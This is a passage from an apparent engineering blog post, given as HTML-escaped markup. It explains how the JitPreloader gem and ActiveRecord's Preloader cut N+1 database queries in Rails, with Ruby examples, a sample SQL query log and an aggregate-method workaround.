&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.includes(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:tasks&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).limit(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  user.tasks.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |task|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, you can preload the association later on using &lt;code&gt;ActiveRecord::Associations::Preloader&lt;/code&gt; . E.g.:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;users &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.limit(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ActiveRecord&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Associations&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Preloader&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.preload(users, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:tasks&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;users.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  user.tasks.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |task|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the &lt;a href=&quot;https://github.com/clio/jit_preloader/&quot;&gt;JitPreloader&lt;/a&gt;, each ActiveRecord object returned from a query will have a reference to the other objects returned by the same query. If you access an association that has not been loaded yet, the gem will automatically load that association using &lt;code&gt;ActiveRecord::Associations::Preloader&lt;/code&gt; across all of those objects. This works across all associations and only happens for associations that are accessed.&lt;/p&gt;
&lt;h2&gt;Does this get rid of all N+1 queries?&lt;/h2&gt;
&lt;p&gt;No, it does not. Our team at Aha! removed about 90% of the N+1 queries using the above two lines. Most N+1 queries can be fixed immediately and automatically, but there are certain patterns that are not automatically solved by this. These require more manual effort to fix.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It will not automatically fix N+1 queries that are generated through the use of aggregate methods. e.g.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.limit(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  user.tasks.count&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43.620&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.8ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43.623&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.5ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43.625&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.4ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43.627&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.4ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43.628&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.4ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43.630&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.4ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43.631&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.4ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43.633&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.4ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43.635&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.5ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;43.637&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.4ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Luckily the &lt;a href=&quot;https://github.com/clio/jit_preloader#loading-aggregate-methods-on-associations&quot;&gt;JitPreloader&lt;/a&gt; offers a solution here as well. You can setup a special aggregation method that on the model that will allow you to preload this&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; User&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationRecord&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  has_many_aggregate &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:tasks&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:count_all&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:count&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;default:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Now you can write&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.limit(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  user.tasks_count_all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
